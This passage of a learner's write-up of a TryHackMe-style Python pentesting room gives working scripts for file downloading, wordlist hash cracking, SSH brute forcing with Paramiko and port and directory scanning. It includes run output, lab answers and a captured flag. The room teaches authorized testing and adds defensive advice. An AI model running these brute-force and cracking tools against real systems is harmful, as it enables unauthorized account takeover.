    if os.path.isfile(target):
        with open(target, "r") as f:
            urls = [line.strip() for line in f if line.strip()]
        print(f"[*] Loaded {len(urls)} URL(s) from {target}")
        download_from_list(urls)
    else:
        filename = target.split("/")[-1] or "downloaded_file"
        download_file(target, filename)

main()
```

The `main()` function handles two modes: if the argument is an existing file path, it reads URLs from that file and downloads all of them; if the argument looks like a URL, it downloads that single file. This dual-mode behavior makes the script flexible without requiring separate commands.

Let’s test it by downloading a file from the target machine:

```markdown
ubuntu@tryhackme:~/Pentesting-Scripts$ python3 downloader.py http://MACHINE_IP:8000/files/config.txt
[+] Downloaded: config.txt (975 bytes)
```

And from a list of URLs:

```markdown
ubuntu@tryhackme:~/Pentesting-Scripts$ python3 downloader.py target_urls.txt
[*] Loaded 3 URL(s) from target_urls.txt
[+] Downloaded: downloads/config.txt (975 bytes)
[+] Downloaded: downloads/backup.zip (628 bytes)
[!] HTTP error: 404 Client Error: Not Found for url: http://127.0.0.1:8000/files/missing.dat

[*] Complete: 2 downloaded, 1 failed
```

### When Would a Pentester Use This?

Automated downloads come up more often than you might expect during engagements. After discovering an exposed directory listing, you might need to download all JavaScript files to search for hardcoded API keys. If you find a backup archive on a web server, you need to retrieve it for offline analysis. During post-exploitation, you might download tools to the compromised machine or exfiltrate data to your attack box. Having a reusable, error-resilient downloader in your toolkit saves time and reduces mistakes.

### The Defender’s Perspective

From the defensive side, bulk downloads from a single IP address create a recognizable pattern in server access logs. Data Loss Prevention (DLP) systems can flag large or unusual outbound transfers. Defenders also monitor for access to sensitive file types (`.sql, .bak, .conf, .env`) and restrict directory listings on web servers to prevent reconnaissance. Disabling directory indexing in your web server configuration (the `Options -Indexes` directive in Apache, or `autoindex off` in Nginx) is one of the simplest and most effective mitigations.

### Answer the questions below

What requests function is used to connect to the target URL and download the file? `requests.get()`

In what mode did we open the output file to avoid corruption of binary data like images? `wb`

## Hash Cracking with hashlib

You have been scanning the target environment, enumerating directories, and downloading files. During your directory enumeration in Task 2, you may have discovered a page containing what looks like a long string of hexadecimal characters. That string is almost certainly a **hash**, a fixed-length fingerprint computed from some input data, often a password. As a penetration tester, finding a hash is only half the battle. The real value comes from recovering the original plaintext behind it.

If you completed the Building Scripts room, you already know the basics: Python’s `hashlib` module can compute hashes for strings using algorithms like MD5 and SHA-256. In that room, we hashed a single string and printed the digest. In this task, we take that foundation and build a practical **hash cracker**, a tool that compares a target hash against thousands of candidates from a wordlist to recover the plaintext value.

### Why Hashes Cannot Be “Reversed”

Before we write code, let’s make sure the underlying concept is clear. One analogy would be a meat grinder. You can feed strawberries and milk into the blender and get a strawberry milkshake, but you cannot reconstruct the original strawberries from the milkshake. Hashing works the same way: the algorithm transforms input data into a fixed-length output (the **digest**), and that transformation is designed to be irreversible. There is no mathematical formula to “undo” an MD5 or SHA-256 hash.

So how do we crack one? We do not reverse the hash; instead, we try to reproduce it. We take a list of candidate plaintext values (a wordlist), hash each one with the same algorithm, and compare the resulting hash to the target hash. If we find a match, we have recovered the plaintext. This approach is called a **dictionary attack**, and its effectiveness depends entirely on the quality and size of the wordlist.

Consider the following simplified process:

1.  You discover the hash `eccbc87e4b5ce2fe28308fd9f2a7baf3` in a database
    
2.  You suspect the plaintext is a number between 1 and 5
    
3.  You compute the MD5 hash of each candidate: `1, 2, 3, 4, 5`
    
4.  The MD5 hash of `3` is `eccbc87e4b5ce2fe28308fd9f2a7baf3`; it matches
    
5.  The plaintext is `3`
    

In practice, wordlists contain millions of entries: common passwords, dictionary words, keyboard patterns, and leaked credentials from past data breaches.

### Building the Hash Cracker

**Step 1: Hashing a Single Value**

As we learned in the Building Scripts room, hashlib provides a consistent interface for computing hashes. Let’s create a function that hashes a string with a specified algorithm:

```markdown
import hashlib

def compute_hash(text, algorithm="md5"):
    """Compute the hash of a string using the specified algorithm."""
    h = hashlib.new(algorithm)
    h.update(text.encode())
    return h.hexdigest()
```

The `hashlib.new()` constructor accepts the algorithm name as a string, making our function flexible. Instead of hardcoding`hashlib.md5()`, we can pass`md5`", "`sha256`", "`sha512`", or any other algorithm hashlib supports. The `.encode()` call converts the string to bytes, which is what hashlib requires. The `.hexdigest()` method returns the hash as a hexadecimal string.

**Step 2: The Cracking Function**

Now let’s build the core cracking logic. This function reads candidates from a wordlist and compares each computed hash against the target:

```markdown
def crack_hash(target_hash, wordlist_path, algorithm="md5"):
    """Attempt to find the plaintext for a hash using a wordlist."""
    try:
        with open(wordlist_path, "r") as f:
            for line_number, line in enumerate(f, start=1):
                candidate = line.strip()
                if not candidate:
                    continue

                candidate_hash = compute_hash(candidate, algorithm)
                print(f"[*] {candidate} -> {candidate_hash}")  # show work

                if candidate_hash == target_hash.lower():
                    print(f"[+] Match found after {line_number} attempts!")
                    print(f"[+] Plaintext: {candidate}")
                    return candidate

        print(f"[-] Exhausted wordlist. No match found.")
        return None

    except FileNotFoundError:
        print(f"[!] Wordlist not found: {wordlist_path}")
        return None
```

A few design decisions are worth discussing. We use `enumerate(f, start=1)` to track the line number as we iterate. This lets us report how many attempts it took to find the match, which is useful for gauging the effectiveness of the wordlist. We call `target_hash.lower()` to normalize the comparison; hashes are case-insensitive in terms of their hex representation, but a user might paste one with uppercase letters. The `line.strip()` call removes newlines and whitespace, just as we did in the `load_wordlist` function from Task 2.

Notice that we read the wordlist line by line using a `for` loop over the file object rather than loading the entire file into memory with `.read()` or `.readlines()`. As we discussed in Task 5 with streaming downloads, this approach keeps memory usage constant regardless of wordlist size. A wordlist like `rockyou.txt` contains over 14 million entries; loading it all at once would consume hundreds of megabytes of RAM.

**Step 3: The Complete Script**

```markdown
import hashlib
import sys

def compute_hash(text, algorithm="md5"):
    """Compute the hash of a string using the specified algorithm."""
    h = hashlib.new(algorithm)
    h.update(text.encode())
    return h.hexdigest()

def crack_hash(target_hash, wordlist_path, algorithm="md5"):
    """Attempt to find the plaintext for a hash using a wordlist."""
    try:
        with open(wordlist_path, "r") as f:
            for line_number, line in enumerate(f, start=1):
                candidate = line.strip()
                if not candidate:
                    continue

                candidate_hash = compute_hash(candidate, algorithm)
                print(f"[*] {candidate} -> {candidate_hash}")  # show work

                if candidate_hash == target_hash.lower():
                    print(f"[+] Match found after {line_number} attempts!")
                    print(f"[+] Plaintext: {candidate}")
                    return candidate

        print(f"[-] Exhausted wordlist. No match found.")
        return None

    except FileNotFoundError:
        print(f"[!] Wordlist not found: {wordlist_path}")
        return None

def main():
    if len(sys.argv) < 3:
        print(f"Usage: python3 {sys.argv[0]} <hash> <wordlist> [algorithm]")
        print(f"Example: python3 {sys.argv[0]} 5f4dcc3b5aa765d61d8327deb882cf99 wordlist.txt md5")
        print(f"Supported: md5, sha1, sha256, sha512")
        sys.exit(1)

    target_hash = sys.argv[1]
    wordlist_path = sys.argv[2]
    algorithm = sys.argv[3] if len(sys.argv) > 3 else "md5"

    print(f"[*] Target hash: {target_hash}")
    print(f"[*] Algorithm:   {algorithm}")
    print(f"[*] Wordlist:    {wordlist_path}")
    print(f"[*] Cracking...\n")

    result = crack_hash(target_hash, wordlist_path, algorithm)

    if result:
        print(f"\n[*] Hash cracked successfully.")
    else:
        print(f"\n[*] Try a larger wordlist or a different algorithm.")

main()
```

The script defaults to MD5 but accepts any algorithm as an optional third argument. This means the same tool works for `SHA-1, SHA-256, SHA-512`, and others without code changes. Let’s test it against an MD5 hash:

```markdown
ubuntu@tryhackme:~/Pentesting-Scripts$ python3 hash_cracker.py eccbc87e4b5ce2fe28308fd9f2a7baf3 numbers.txt
[*] Target hash: eccbc87e4b5ce2fe28308fd9f2a7baf3
[*] Algorithm:   md5
[*] Wordlist:    numbers.txt
[*] Cracking...

[*] 0 -> cfcd208495d565ef66e7dff9f98764da
[*] 1 -> c4ca4238a0b923820dcc509a6f75849b
[*] 2 -> c81e728d9d4c2f636f067f89cc14862c
[*] 3 -> eccbc87e4b5ce2fe28308fd9f2a7baf3
[+] Match found after 4 attempts!
[+] Plaintext: 3

[*] Hash cracked successfully.
```

Now let’s modify the algorithm to crack a SHA-256 hash. No code changes needed; we just pass the algorithm name:

```markdown
ubuntu@tryhackme:~/Pentesting-Scripts$ python3 hash_cracker.py f9194e73f9e9459e3450ea10a179cdf77aafa695beecd3b9344a98d111622243 numbers.txt sha256
[*] Target hash: f9194e73f9e9459e3450ea10a179cdf77aafa695beecd3b9344a98d111622243
[*] Algorithm:   sha256
[*] Wordlist:    numbers.txt
[*] Cracking...

[*] 0 -> 5feceb66ffc86f38d952786c6d696c79c2dbc239dd4e91b46729d73a27fb57e9
[*] 1 -> 6b86b273ff34fce19d6b804eff5a3f5747ada4eaa22f1d49c01e52ddb7875b4b
[*] 2 -> d4735e3a265e16eee03f59718b9b5d03019c07d8b6c51f90da3a666eec13ab35
[*] 3 -> 4e07408562bedb8b60ce05c1decfe3ad16b72230967de01f640b7e4729b49fce
[*] 4 -> 4b227777d4dd1fc61c6f884f48641d02b4d121d3fd328cb08b5531fcacdabf8a
[*] 5 -> ef2d127de37b942baad06145e54b0c619a1f22327b2ebbcfbec78f5564afe39d
[*] zero -> f9194e73f9e9459e3450ea10a179cdf77aafa695beecd3b9344a98d111622243
[+] Match found after 7 attempts!
[+] Plaintext: zero

[*] Hash cracked successfully.
```

### Why MD5 and SHA-1 Are Considered Weak

You might wonder why we still encounter MD5 hashes in the wild if they are known to be insecure. MD5 produces a 128-bit digest and is computationally fast, which is precisely the problem. A modern GPU can compute billions of MD5 hashes per second, making brute-force attacks practical even against reasonably complex passwords. SHA-1 (160-bit) has similar weaknesses. Both algorithms have known **collision vulnerabilities**, meaning it is possible to find two different inputs that produce the same hash.

For password storage, modern systems use purpose-built algorithms like **bcrypt**, **scrypt**, or **Argon2**. These algorithms are intentionally slow and include a salt (a random value mixed into the input) to make precomputed attacks infeasible. As a penetration tester, you will encounter MD5 and SHA-1 in legacy systems, older databases, and file integrity checks. Knowing how to crack them remains a practical skill.

### The Defender’s Perspective

The most effective defense against hash cracking is not a single stronger hash algorithm; it is the combination of strong algorithms, salting, and password policies. Salting adds a unique random value to each password before hashing, which means two users with the same password produce different hashes. This defeats precomputed attacks like rainbow tables. Enforcing minimum password length and character variety requirements, and checking passwords against known breach databases (as in the Password Strength Checker we built in the Building Scripts room), dramatically increases the effort required for a dictionary attack to succeed.

### Answer the questions below

During directory enumeration in Task 2, we discovered the `http://MACHINE_IP:8000/apollo.html` page. What is the cleartext value of the hash found in Task 2? (Use `wordlist.txt`.) `rainbow`

```markdown
python3 hash_cracker.py 5030c5bd002de8713fef5daebd597620f5e8bcea31c603dccdfcdf502a57cc60 wordlist.txt sha256
[*] Target hash: 5030c5bd002de8713fef5daebd597620f5e8bcea31c603dccdfcdf502a57cc60
[*] Algorithm:   sha256
[*] Wordlist:    wordlist.txt
[*] Cracking...

[*] password -> 5e884898da28047151d0e56f8dc6292773603d0d6aabbdd62a11ef721d1542d8
[*] 123456 -> 8d969eef6ecad3c29a3a629280e686cf0c3f5d5a86aff3ca12020c923adc6c92
[*] admin -> 8c6976e5b5410415bde908bd4dee15dfb167a9c873fc4bb8a81f6f2ab448a918
[*] letmein -> 1c8bfe8f801d79745c4631d09fff36c82aa37fc4cce4fc946683d7b336b63032
[*] dragon -> a9c43be948c5cabd56ef2bacffb77cdaa5eec49dd5eb0cc4129cf3eda5f0e74c
[*] master -> fc613b4dfd6736a7bd268c8a0e74ed0d1c04a959f59dd74ef2874983fd443fc9
[*] rainbow -> 8fced00b6ce281456d69daef5f2b33eaf1a4a29b5923ebe5f1f2c54f5886c7a3
[*] monkey -> 000c285457fc971f862a79b786476c78812c8897063c6fa9c045f579a3b2d63f
[*] shadow -> 0bb09d80600eec3eb9d7793a6f859bedde2a2d83899b70bd78e961ed674b32f4
[*] sunshine -> a941a4c4fd0c01cddef61b8be963bf4c1e2b0811c037ce3f1835fddf6ef6c223
[*] trustno1 -> 203b70b5ae883932161bbd0bded9357e763e63afce98b16230be33f0b94c2cc5
[*] iloveyou -> e4ad93ca07acb8d908a3aa41e920ea4f4ef4f26e7f86cf8291c5db289780a5ae
[*] batman -> 1532e76dbe9d43d0dea98c331ca5ae8a65c5e8e8b99d3e2a42ae989356f6242a
[*] football -> 6382deaf1f5dc6e792b76db4a4a7bf2ba468884e000b25e7928e621e27fb23cb
[*] charlie -> b9dd960c1753459a78115d3cb845a57d924b6877e805b08bd01086ccdf34433c
[*] access -> a0561fd649cdb6baa784055f051bad796ea0afef17fca38219549deeba4e8c1a
[*] hello -> 2cf24dba5fb0a30e26e83b2ac5b9e29e1b161e5c1fa7425e73043362938b9824
[*] qwerty -> 65e84be33532fb784c48129675f9eff3a682b27168c0ea744b2cf58ee02337c5
[*] welcome -> 280d44ab1e9f79b5cce2dd4f58f5fe91f0fbacdac9f7447dffc318ceb79f2d02
[*] login -> 428821350e9691491f616b754cd8315fb86d797ab35d843479e732ef90665324
[*] starwars -> 74fca0325b5fdb3a34badb40a2581cfbd5344187e8d3432952a5abc0929c1246
[*] passw0rd -> 8f0e2f76e22b43e2855189877e7dc1e1e7d98c226c95db247cd1d547928334a9
[*] abc123 -> 6ca13d52ca70c883e0f0bb101e425a89e8624de51db2d2392593af6a84118090
[*] mustang -> a92f6bdb75789bccc118adfcf704029aa58063c604bab4fcdd9cd126ef9b69af
[*] michael -> 34550715062af006ac4fab288de67ecb44793c3a05c475227241535f6ef7a81b
[*] buster -> cbeaff314ef5ad032caa60ee2e8d8144ae52a8572c7d6f75631f3bd4080a7b16
[*] daniel -> bd3dae5fb91f88a4f0978222dfd58f59a124257cb081486387cbae9df11fb879
[*] jessica -> e1fc45f7880e0505ff0b6a079b9af149f225e260f59b1d20225357a8cce8ffd8
[*] soccer -> 8f27f432fcbaa4b5180a1cc7a8fa166a93cda3c1bce6f19922dd519d02f4bb39
[*] hunter -> e9a63a4eb15738ae85cd416221c8fcc4ccc0018fac91335b42eaa016c76e87f9
[*] pepper -> 8cbbcf29d9cef89675c5f5c1dcfe827d0570416a5aaba30dd0de159661ad905b
[*] ginger -> 08ddff4ebe39249a9208cd305b7d14091b1ebabef6adfa897cc34675fa0e0848
[*] redwings -> 5030c5bd002de8713fef5daebd597620f5e8bcea31c603dccdfcdf502a57cc60
[+] Match found after 33 attempts!
[+] Plaintext: redwings

[*] Hash cracked successfully.
```

Modify the script to work with SHA-256 hashes. Using the modified script, what is the cleartext value for 5030c5bd002de8713fef5daebd597620f5e8bcea31c603dccdfcdf502a57cc60? (Use wordlist.txt.) `redwings`

## Credential Testing: SSH Brute Forcing with Paramiko

Your port scanner from Task 4 revealed that the target machine has SSH running on port 22. During your directory enumeration in Task 2, you discovered a page containing usernames. You also cracked a hash and recovered a password in Task 6. But what if you have a list of usernames and no passwords, or a set of credentials you suspect might work across multiple services? Manually attempting each combination through an SSH client would take hours. This is precisely the scenario where an automated credential testing script saves time.

In this task, we will build an **SSH brute-force tool** using the **Paramiko** library, Python’s most widely used implementation of the **SSHv2 protocol**. Before we write a single line of code, however, we need to address the elephant in the room.

### Authorization Is Non-Negotiable

Brute-force attacks are loud, disruptive, and illegal when performed without explicit authorization. Unlike passive reconnaissance or even port scanning (which might exist in a legal gray area depending on jurisdiction), actively attempting to authenticate against a system with credentials you do not own is a clear violation of the **Computer Fraud and Abuse Act (CFAA)** in the United States, the **Computer Misuse Act (CMA)** in the United Kingdom, and equivalent laws in most countries.

In a professional engagement, credential testing is explicitly defined in the **Rules of Engagement (RoE)** and **Statement of Work (SOW)**. The document specifies which systems can be targeted, which accounts can be tested, and whether brute-force attacks are permitted. Some clients exclude brute-forcing entirely because it risks locking out legitimate user accounts. Always confirm the scope before running a tool like this.

In this room, you are authorized to test the target machine provided by TryHackMe. That authorization does not extend to any other system.

### How SSH Authentication Works

**Secure Shell (SSH)** provides encrypted remote access to a system. When you connect to an SSH server, the server presents its host key (a cryptographic identity), and the client must authenticate, typically with a password or an SSH key pair. One analogy would be a building with a security desk. The guard (SSH server) checks your ID badge (credentials). If the badge is valid, you are allowed in. If not, the guard turns you away. A brute-force attack is like showing up with a stack of fake badges and trying each one until one works.

In technical terms, our script will:

*   Read a list of passwords from a wordlist file
    
*   For each password, attempt an SSH connection to the target
    
*   If authentication succeeds, report the valid credential
    
*   If it fails, move to the next candidate
    

### Installing Paramiko

**Paramiko** is a third-party library. Usually, you can install it with `pip3 install paramiko`; however, depending on your system setup, you might need different commands. For example, on the provided Ubuntu system, we used `sudo apt install python3-paramiko`.

On the provided virtual machine, Paramiko is pre-installed.

### Building the Brute Forcer

**Step 1: Testing a Single Credential**

Let’s start with a function that attempts a single SSH login:

```markdown
import paramiko

def try_credential(target, username, password, port=22):
    """Attempt SSH login with the given credentials. Return True on success."""
    ssh = paramiko.SSHClient()
    ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy())

    try:
        ssh.connect(target, port=port, username=username, password=password, timeout=5)
        ssh.close()
        return True
    except paramiko.AuthenticationException:
        return False
    except (paramiko.SSHException, OSError) as e:
        print(f"[!] Connection error: {e}")
        return False
```

Let’s examine the key components. `paramiko.SSHClient()` creates a new SSH client instance. The `set_missing_host_key_policy(paramiko.AutoAddPolicy())` call tells the client to automatically accept unknown host keys. In a production tool, you would want stricter host key verification, but for a testing script targeting known lab machines, auto-accepting keeps the script from prompting for manual confirmation on every attempt.

The `ssh.connect()` method performs the actual authentication attempt. We catch three distinct outcomes:

*   `paramiko.AuthenticationException`: the server responded but rejected the credentials. This is the expected failure case during brute-forcing, and we simply return False to try the next password.
    
*   `paramiko.SSHException`: a protocol-level error occurred (malformed response, unsupported algorithm, etc.).
    
*   `OSError`: a network-level error occurred (connection refused, timeout, unreachable host).
    

We separate `AuthenticationException` from the other errors because they mean fundamentally different things. A rejected password is normal; a connection error might indicate that the server is overloaded, has blocked your IP address, or is unreachable.

**Step 2: Iterating Through the Wordlist**

Now we wrap the single-credential function in a loop:

```markdown
def brute_force_ssh(target, username, wordlist_path, port=22):
    """Try each password in the wordlist against the target SSH server."""
    try:
        with open(wordlist_path, "r") as f:
            passwords = [line.strip() for line in f if line.strip()]
    except FileNotFoundError:
        print(f"[!] Wordlist not found: {wordlist_path}")
        return None

    print(f"[*] Loaded {len(passwords)} password(s) from {wordlist_path}")
    print(f"[*] Target: {target}:{port}")
    print(f"[*] Username: {username}\n")

    for attempt, password in enumerate(passwords, start=1):
        print(f"[*] Attempt {attempt}/{len(passwords)}: {password}")

        if try_credential(target, username, password, port):
            print(f"\n[+] Password found: {password}")
            return password

    print(f"\n[-] Exhausted wordlist. No valid password found.")
    return None
```

We load the entire wordlist upfront rather than reading line by line during the brute-force loop. Why the different approach compared to our hash cracker in Task 6? In the hash cracker, the bottleneck was CPU-bound hashing; reading one line at a time had no meaningful impact on performance. Here, the bottleneck is network latency; each SSH connection takes hundreds of milliseconds. Loading a few thousand lines into memory is negligible compared to the time spent waiting for SSH responses, and having the total count available lets us display meaningful progress.

**Step 3: The Complete Script**

```markdown
import paramiko
import sys

def try_credential(target, username, password, port=22):
    """Attempt SSH login with the given credentials. Return True on success."""
    ssh = paramiko.SSHClient()
    ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy())

    try:
        ssh.connect(target, port=port, username=username, password=password, timeout=5)
        ssh.close()
        return True
    except paramiko.AuthenticationException:
        return False
    except (paramiko.SSHException, OSError) as e:
        print(f"[!] Connection error: {e}")
        return False

def brute_force_ssh(target, username, wordlist_path, port=22):
    """Try each password in the wordlist against the target SSH server."""
    try:
        with open(wordlist_path, "r") as f:
            passwords = [line.strip() for line in f if line.strip()]
    except FileNotFoundError:
        print(f"[!] Wordlist not found: {wordlist_path}")
        return None

    print(f"[*] Loaded {len(passwords)} password(s) from {wordlist_path}")
    print(f"[*] Target: {target}:{port}")
    print(f"[*] Username: {username}\n")

    for attempt, password in enumerate(passwords, start=1):
        print(f"[*] Attempt {attempt}/{len(passwords)}: {password}")

        if try_credential(target, username, password, port):
            print(f"\n[+] Password found: {password}")
            return password

    print(f"\n[-] Exhausted wordlist. No valid password found.")
    return None

def main():
    if len(sys.argv) < 4:
        print(f"Usage: python3 {sys.argv[0]} <target> <username> <wordlist> [port]")
        print(f"Example: python3 {sys.argv[0]} MACHINE_IP admin passwords.txt 22")
        sys.exit(1)

    target = sys.argv[1]
    username = sys.argv[2]
    wordlist_path = sys.argv[3]
    port = int(sys.argv[4]) if len(sys.argv) > 4 else 22

    result = brute_force_ssh(target, username, wordlist_path, port)

    if result:
        print(f"\n[*] Valid credentials: {username}:{result}")
        print(f"[*] Connect with: ssh {username}@{target}")
    else:
        print(f"\n[*] Try a larger wordlist or a different username.")

main()
```

Let’s run it against the target machine. Use the username `tester` you found during directory enumeration in Task 2:

```markdown
ubuntu@tryhackme:~/Pentesting-Scripts$ python3 ssh_brute.py MACHINE_IP tester wordlist.txt
[*] Loaded 58 password(s) from wordlist.txt
[*] Target: MACHINE_IP:22
[*] Username: tester

[*] Attempt 1/58: password
[*] Attempt 2/58: 123456
[*] Attempt 3/58: admin
[*] Attempt 4/58: letmein
[...]
[*] Valid credentials: tester:[RECACTED]
[*] Connect with: ssh tester@MACHINE_IP

        
```

### Performance and Real-World Considerations

You will notice that the script runs noticeably slower than the hash cracker. Each SSH attempt involves a full TCP connection, a cryptographic key exchange, and an authentication handshake, all over the network. This makes SSH brute-forcing inherently slower than offline attacks like hash cracking.

Professional tools like **Hydra** and **Medusa** address this by using parallel connections, testing multiple passwords simultaneously via threads or multiple processes. Our sequential script is intentionally simple, but the performance difference illustrates why threading (a topic beyond this room’s scope) matters for network-based attacks.

There is also a practical concern: **account lockout policies**. Many production systems lock an account after a threshold of failed login attempts (commonly 3 to 5). Brute-forcing such systems will lock out the target account, disrupting the client’s operations and violating the spirit of most engagements. Always check the RoE for lockout policies before running credential attacks.

### The Defender’s Perspective

SSH brute-force attacks are among the most common threats facing internet-exposed servers. Defenders have several effective countermeasures:

*   **Disable password authentication entirely** and require SSH key pairs instead, which eliminates brute-force attacks altogether
    
*   **Use fail2ban** to monitor authentication logs and automatically block IP addresses after a configurable number of failed attempts
    
*   **Change the default SSH port from 22** to a non-standard port, which reduces exposure to automated scanning bots (though this is security through obscurity, not a real defense on its own)
    
*   **Implement rate limiting** at the firewall level to throttle connection attempts from a single source
    
*   **Enforce strong password policies** so that dictionary attacks against common passwords become ineffective
    

### Answer the questions below

What exception does Paramiko raise when the server rejects the provided credentials? `AuthenticationException`

In an earlier stage, we discovered the username tester. What is the SSH password for this user? `rainbow`

(not sure if its right context)

```jsx
python3 hash_cracker.py cd13b6a6af66fb774faa589a9d18f906 wordlist.txt md5

[*] Target hash: cd13b6a6af66fb774faa589a9d18f906
[*] Algorithm:   md5
[*] Wordlist:    wordlist.txt
[*] Cracking...

[*] password -> 5f4dcc3b5aa765d61d8327deb882cf99
[*] 123456 -> e10adc3949ba59abbe56e057f20f883e
[*] admin -> 21232f297a57a5a743894a0e4a801fc3
[*] letmein -> 0d107d09f5bbe40cade3de5c71e9e9b7
[*] dragon -> 8621ffdbc5698829397d97767ac13db3
[*] master -> eb0a191797624dd3a48fa681d3061212
[*] rainbow -> cd13b6a6af66fb774faa589a9d18f906
[+] Match found after 7 attempts!
[+] Plaintext: rainbow

[*] Hash cracked successfully.

```

gg

```markdown
python3 ssh_brute.py 10.113.141.177 tester wordlist.txt
[*] Loaded 58 password(s) from wordlist.txt
[*] Target: 10.113.141.177:22
[*] Username: tester

[*] Attempt 1/58: password
[*] Attempt 2/58: 123456
[*] Attempt 3/58: admin
[*] Attempt 4/58: letmein
[*] Attempt 5/58: dragon
[*] Attempt 6/58: master
[*] Attempt 7/58: rainbow

[+] Password found: rainbow

[*] Valid credentials: tester:rainbow
[*] Connect with: ssh tester@10.113.141.177
```

What is the content of the flag.txt file?

```markdown
ssh tester@10.113.141.177

tester@tryhackme:~$ ls -la
total 36
drwxr-x--- 4 tester tester 4096 May  4 10:13 .
drwxr-xr-x 4 root   root   4096 Apr 21 15:04 ..
-rw------- 1 tester tester   54 May  4 11:01 .bash_history
-rw-r--r-- 1 tester tester  220 Feb 25  2020 .bash_logout
-rw-r--r-- 1 tester tester 3771 Feb 25  2020 .bashrc
drwx------ 2 tester tester 4096 Apr 21 15:11 .cache
drwx------ 3 tester tester 4096 Apr 21 15:11 .local
-rw-r--r-- 1 tester tester  807 Feb 25  2020 .profile
-rw-r--r-- 1 tester tester   32 Apr 21 15:04 flag.txt

tester@tryhackme:~$ cat flag.txt
THM{python_brute_force_success}
```

## Bringing It Together: A Mini Recon Toolkit

Over the past six tasks, you built six standalone scripts: a subdomain enumerator, a directory enumerator, a network scanner, a port scanner, a file downloader, and a hash cracker. Each one solves a specific problem. But consider how you actually used them in this room. You ran the subdomain enumerator, copied the results, switched to the directory enumerator, ran that, noted the findings, opened the hash cracker in another terminal, pasted in the hash, and so on. Each transition required remembering file paths, copying output, and re-typing target information.

Now consider a real engagement with dozens of targets, multiple subnets, and hundreds of findings. Managing six separate scripts with no shared interface becomes unwieldy fast. Professional penetration testing frameworks like Metasploit solve this problem by providing a unified interface that ties together individual modules. We are not building Metasploit, but we can apply the same principle on a smaller scale: a **menu-driven toolkit** that wraps our existing functions into a single, cohesive program.

In this task, we will combine the web reconnaissance and port scanning tools from earlier tasks into an integrated mini-toolkit. This exercise is less about learning new Python concepts and more about practicing a critical software skill: **organizing existing code into a maintainable structure**.

### The Design

Our toolkit will present the user with a numbered menu. Each option calls a function we already wrote and tested in earlier tasks. The main loop keeps the toolkit running until the user chooses to exit. One analogy would be a Swiss Army knife. Each blade (script) is useful on its own, but having them folded into a single handle (the toolkit) means you always have the right tool at hand without rummaging through your bag.

In technical terms, the toolkit structure follows a pattern you have seen before: a `while True` loop with `break` and `continue`, exactly like the Password Strength Checker from the Building Scripts room. The difference is scale; instead of one function, we are orchestrating several.

### The Toolkit Code

Let’s walk through the complete script. Every function called below, `load_wordlist`, `enumerate_subdomains`, `enumerate_directories`, `scan_ports`, and `resolve_target`, is identical to the versions we built in Tasks 2 and 4. We are importing our own previous work, not writing new logic.

```markdown
import requests
import socket
import sys

# ----- Reused functions from earlier tasks -----

def load_wordlist(filepath):
    """Read a wordlist file and return a list of stripped lines."""
    try:
        with open(filepath, "r") as f:
            words = [line.strip() for line in f if line.strip()]
        print(f"[*] Loaded {len(words)} entries from {filepath}")
        return words
    except FileNotFoundError:
        print(f"[!] Error: '{filepath}' not found.")
        return []

def enumerate_subdomains(domain, wordlist):
    """Test each subdomain candidate against the target domain."""
    found = []
    for sub in wordlist:
        url = f"http://{sub}.{domain}"
        try:
            requests.get(url, timeout=3)
            print(f"[+] Found: {url}")
            found.append(url)
        except (requests.ConnectionError, requests.Timeout):
            pass
    return found

def enumerate_directories(target_url, wordlist, extension=".html"):
    """Test each directory/file candidate against the target URL."""
    found = []
    for entry in wordlist:
        url = f"{target_url}/{entry}{extension}"
        try:
            r = requests.get(url, timeout=3)
            if r.status_code != 404:
                print(f"[+] {r.status_code} - {url}")
                found.append(url)
        except (requests.ConnectionError, requests.Timeout):
            pass
    return found

def resolve_target(target):
    """Resolve a hostname to an IP address."""
    try:
        ip = socket.gethostbyname(target)
        if ip != target:
            print(f"[*] Resolved {target} to {ip}")
        return ip
    except socket.gaierror:
        print(f"[!] Could not resolve {target}")
        return None

def probe_port(ip, port, timeout=0.5):
    """Attempt a TCP connection to ip:port."""
    try:
        sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        sock.settimeout(timeout)
        result = sock.connect_ex((ip, port))
        sock.close()
        return result == 0
    except socket.error:
        return False

def scan_ports(ip, port_range, timeout=0.5):
    """Scan a range of ports on the target IP."""
    open_ports = []
    for port in port_range:
        if probe_port(ip, port, timeout):
            print(f"[+] Port {port} is open")
            open_ports.append(port)
    return open_ports

# ----- Toolkit menu functions -----

def run_subdomain_enum():
    """Gather input and run subdomain enumeration."""
    domain = input("Enter target domain: ").strip()
    wordlist_path = input("Enter wordlist path: ").strip()

    wordlist = load_wordlist(wordlist_path)
    if not wordlist:
        return

    results = enumerate_subdomains(domain, wordlist)
    print(f"\n[*] Found {len(results)} subdomain(s).")

def run_directory_enum():
    """Gather input and run directory enumeration."""
    target_url = input("Enter target URL (e.g., http://10.10.10.5): ").strip()
    wordlist_path = input("Enter wordlist path: ").strip()
    extension = input("Enter file extension (default: .html): ").strip() or ".html"

    wordlist = load_wordlist(wordlist_path)
    if not wordlist:
        return

    results = enumerate_directories(target_url, wordlist, extension)
    print(f"\n[*] Found {len(results)} valid path(s).")

def run_port_scan():
    """Gather input and run a port scan."""
    target = input("Enter target IP or hostname: ").strip()
    max_port_str = input("Enter max port to scan (default: 1024): ").strip() or "1024"

    try:
        max_port = int(max_port_str)
    except ValueError:
        print("[!] Invalid port number.")
        return

    ip = resolve_target(target)
    if not ip:
        return

    print(f"\n[*] Scanning {ip} (ports 1-{max_port})...\n")
    open_ports = scan_ports(ip, range(1, max_port + 1))

    if open_ports:
        common_services = {
            21: "FTP", 22: "SSH", 23: "Telnet",
            25: "SMTP", 53: "DNS", 80: "HTTP",
            443: "HTTPS", 445: "SMB", 3306: "MySQL",
            3389: "RDP", 8080: "HTTP Proxy"
        }
        print(f"\n{'Port':<10}{'Likely Service':<20}")
        print("-" * 30)
        for port in sorted(open_ports):
            service = common_services.get(port, "Unknown")
            print(f"{port:<10}{service:<20}")
    else:
        print("[!] No open ports found.")

def show_menu():
    """Display the toolkit menu."""
    print("\n" + "=" * 40)
    print("   Python Pentester Toolkit")
    print("=" * 40)
    print("  1. Subdomain Enumeration")
    print("  2. Directory Enumeration")
    print("  3. Port Scan")
    print("  4. Exit")
    print("=" * 40)

# ----- Main loop -----

def main():
    actions = {
        "1": run_subdomain_enum,
        "2": run_directory_enum,
        "3": run_port_scan,
    }

    while True:
        show_menu()
